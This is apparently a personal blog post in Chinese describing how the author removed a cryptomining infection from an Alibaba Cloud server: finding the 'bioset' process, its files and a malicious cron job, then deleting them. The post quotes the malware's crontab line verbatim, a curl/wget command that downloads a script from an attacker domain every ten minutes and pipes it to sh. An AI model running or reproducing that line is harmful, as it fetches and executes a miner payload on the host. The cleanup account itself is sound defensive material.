1.问题出现
一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序
阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来
于是赶紧上网查资料解决,相似的问题好多,都是被这些脚本变成了挖矿的“肉鸡”
2.问题排查
1)首先top命令查看到占用CPU最多的进程bioset,判断这个就是所谓的挖矿进程
这里经过网上资料提醒,经过攻击后控制台输出变得不可信,因为病毒很可能重定向或者篡改、隐藏你的输出,有一个busybox可以解决这一问题,这里因为我没有出现这种情况所以没用。
kill掉进程,过一会也会继续出现,说明存在守护进程或者定时同步机制。
2)通过进程名寻找文件目录
[root@hadoop1 sbin]# find / -name '*bioset*' /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset
该目录下存在一个proc_1的脚本文件,推测是守护脚本,直接删除也不行(还有同步机制,接着看)
3)使用 crontab -l 查询任务项,果然有猫腻
[root@hadoop1 sbin]# crontab -l */10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh
该病毒会每10分钟从djangocc.com上下载shell脚本并执行,这里不能直接执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。
3.问题解决
1)先关掉定时crond
systemctl stop crond #关掉定时
systemctl disable crond.service #关掉定时开机自启动
2)删除crontab文件
rm -rf /var/spool/cron/root
3)删除病毒文件
rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*
4)根据之前top的病毒PID停止进程
kill -9 2042
5)执行crontab -e进去将所有内容删除,保存退出
crontab -e
6)重启监测,到这里top发现没有bioset,CPU占用也正常
(不过提醒下,可以去阿里云后台再确认下CPU运行是否正常)
参考:
https://www.sunjs.com/article/detail/62c7ba45975946f89b3a1cd574a4856e.html